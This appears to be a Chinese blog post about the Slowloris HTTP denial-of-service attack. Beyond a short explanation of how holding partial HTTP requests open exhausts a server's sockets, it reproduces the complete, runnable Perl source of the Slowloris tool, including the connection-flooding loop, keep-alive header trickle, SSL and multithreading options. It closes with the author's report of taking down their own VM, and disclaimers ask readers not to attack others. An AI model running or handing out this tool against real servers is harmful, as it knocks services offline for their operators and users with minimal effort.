Slowloris:低带宽的HTTP攻击

请勿用此工具攻击别人，谢谢。

他的原理简单的来说是对HTTP服务器送不出完全的HTTP请求，并且试着让它保持不被HTTP服务器超时，如此一来HTTP服务器可开启的最大socket就会满了，最后导致的HTTP服务器无法提供服务。

与传统的DoS攻击不同的地方在于只用单一的服务器加上少许的带宽就可以瘫痪HTTP服务器。

#!/usr/bin/perl -w
use strict;
use IO::Socket::INET;
use IO::Socket::SSL;
use Getopt::Long;
use Config;

$SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors

print <<EOTEXT;
CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::
CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::
CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::
CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::
CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:
ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc
ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo
oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC
oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC
oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO
CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O
CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO
OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO
OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO
COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO
CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC
coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC
:ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC
.:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC
....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo
.......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc
...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co
.............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo
 ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC
   .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco
  .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc
       .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco
 Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client
EOTEXT

my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );
my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );
my $result = GetOptions(
    'shost=s'   => \$shost,
    'dns=s'     => \$host,
    'httpready' => \$httpready,
    'num=i'     => \$connections,
    'cache'     => \$cache,
    'port=i'    => \$port,
    'https'     => \$ssl,
    'tcpto=i'   => \$tcpto,
    'test'      => \$test,
    'timeout=i' => \$timeout,
    'version'   => \$version,
);

if ($version) {
    print "Version 0.7\n";
    exit;
}

unless ($host) {
    print "Usage:\n\n\tperl $0 -dns [] -options\n";
    print "\n\tType 'perldoc $0' for help with options.\n\n";
    exit;
}

unless ($port) {
    $port = 80;
    print "Defaulting to port 80.\n";
}

unless ($tcpto) {
    $tcpto = 5;
    print "Defaulting to a 5 second tcp connection timeout.\n";
}

unless ($test) {
    unless ($timeout) {
        $timeout = 100;
        print "Defaulting to a 100 second re-try timeout.\n";
    }
    unless ($connections) {
        $connections = 1000;
        print "Defaulting to 1000 connections.\n";
    }
}

my $usemultithreading = 0;
if ( $Config{usethreads} ) {
    print "Multithreading enabled.\n";
    $usemultithreading = 1;
    use threads;
    use threads::shared;
}
else {
    print "No multithreading capabilites found!\n";
    print "Slowloris will be slower than normal as a result.\n";
}

my $packetcount : shared     = 0;
my $failed : shared          = 0;
my $connectioncount : shared = 0;

srand() if ($cache);

if ($shost) {
    $sendhost = $shost;
}
else {
    $sendhost = $host;
}
if ($httpready) {
    $method = "POST";
}
else {
    $method = "GET";
}

if ($test) {
    my @times = ( "2", "30", "90", "240", "500" );
    my $totaltime = 0;
    foreach (@times) {
        $totaltime = $totaltime + $_;
    }
    $totaltime = $totaltime / 60;
    print "This test could take up to $totaltime minutes.\n";

    my $delay   = 0;
    my $working = 0;
    my $sock;

    if ($ssl) {
        if (
            $sock = new IO::Socket::SSL(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    else {
        if (
            $sock = new IO::Socket::INET(
                PeerAddr => "$host",
                PeerPort => "$port",
                Timeout  => "$tcpto",
                Proto    => "tcp",
            )
          )
        {
            $working = 1;
        }
    }
    if ($working) {
        if ($cache) {
            $rand = "?" . int( rand(99999999999999) );
        }
        else {
            $rand = "";
        }
        my $primarypayload =
            "GET /$rand HTTP/1.1\r\n"
          . "Host: $sendhost\r\n"
          . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
          . "Content-Length: 42\r\n";
        if ( print $sock $primarypayload ) {
            print "Connection successful, now comes the waiting game...\n";
        }
        else {
            print
"That's odd - I connected but couldn't send the data to $host:$port.\n";
            print "Is something wrong?\nDying.\n";
            exit;
        }
    }
    else {
        print "Uhm... I can't connect to $host:$port.\n";
        print "Is something wrong?\nDying.\n";
        exit;
    }
    for ( my $i = 0 ; $i <= $#times ; $i++ ) {
        print "Trying a $times[$i] second delay: \n";
        sleep( $times[$i] );
        if ( print $sock "X-a: b\r\n" ) {
            print "\tWorked.\n";
            $delay = $times[$i];
        }
        else {
            if ( $SIG{__WARN__} ) {
                $delay = $times[ $i - 1 ];
                last;
            }
            print "\tFailed after $times[$i] seconds.\n";
        }
    }

    if ( print $sock "Connection: Close\r\n\r\n" ) {
        print "Okay that's enough time. Slowloris closed the socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    else {
        print "Remote server closed socket.\n";
        print "Use $delay seconds for -timeout.\n";
        exit;
    }
    if ( $delay < 166 ) {
        print <<EOSUCKS2BU;
Since the timeout ended up being so small ($delay seconds) and it generally
takes between 200-500 threads for most servers and assuming any latency at
all...  you might have trouble using Slowloris against this target.  You can
tweak the -timeout flag down to less than 10 seconds but it still may not
build the sockets in time.
EOSUCKS2BU
    }
}
else {
    print
"Connecting to $host:$port every $timeout seconds with $connections sockets:\n";

    if ($usemultithreading) {
        domultithreading($connections);
    }
    else {
        doconnections( $connections, $usemultithreading );
    }
}

sub doconnections {
    my ( $num, $usemultithreading ) = @_;
    my ( @first, @sock, @working );
    my $failedconnections = 0;
    $working[$_] = 0 foreach ( 1 .. $num );    #initializing
    $first[$_]   = 0 foreach ( 1 .. $num );    #initializing
    while (1) {
        $failedconnections = 0;
        print "\t\tBuilding sockets.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 0 ) {
                if ($ssl) {
                    if (
                        $sock[$z] = new IO::Socket::SSL(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                else {
                    if (
                        $sock[$z] = new IO::Socket::INET(
                            PeerAddr => "$host",
                            PeerPort => "$port",
                            Timeout  => "$tcpto",
                            Proto    => "tcp",
                        )
                      )
                    {
                        $working[$z] = 1;
                        $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK
                    }
                    else {
                        $working[$z] = 0;
                    }
                }
                if ( $working[$z] == 1 ) {
                    if ($cache) {
                        $rand = "?" . int( rand(99999999999999) );
                    }
                    else {
                        $rand = "";
                    }
                    my $primarypayload =
                        "$method /$rand HTTP/1.1\r\n"
                      . "Host: $sendhost\r\n"
                      . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"
                      . "Content-Length: 42\r\n";
                    my $handle = $sock[$z];
                    if ($handle) {
                        print $handle "$primarypayload";
                        if ( $SIG{__WARN__} ) {
                            $working[$z] = 0;
                            close $handle;
                            $failed++;
                            $failedconnections++;
                        }
                        else {
                            $packetcount++;
                            $working[$z] = 1;
                        }
                    }
                    else {
                        $working[$z] = 0;
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print "\t\tSending data.\n";
        foreach my $z ( 1 .. $num ) {
            if ( $working[$z] == 1 ) {
                if ( $sock[$z] ) {
                    my $handle = $sock[$z];
                    if ( print $handle "X-a: b\r\n" ) {
                        $working[$z] = 1;
                        $packetcount++;
                    }
                    else {
                        $working[$z] = 0;
                        #debugging info
                        $failed++;
                        $failedconnections++;
                    }
                }
                else {
                    $working[$z] = 0;
                    #debugging info
                    $failed++;
                    $failedconnections++;
                }
            }
        }
        print
"Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";
        sleep($timeout);
    }
}

sub domultithreading {
    my ($num) = @_;
    my @thrs;
    my $i                    = 0;
    my $connectionsperthread = 50;
    while ( $i < $num ) {
        $thrs[$i] =
          threads->create( \&doconnections, $connectionsperthread, 1 );
        $i += $connectionsperthread;
    }
    my @threadslist = threads->list();
    while ( $#threadslist > 0 ) {
        $failed = 0;
    }
}

以下是在我的虚机测试，再次强调，请勿用于攻击他人的服务器。

正常的页面看起来像这样。

被slowloris攻击时就无法连上。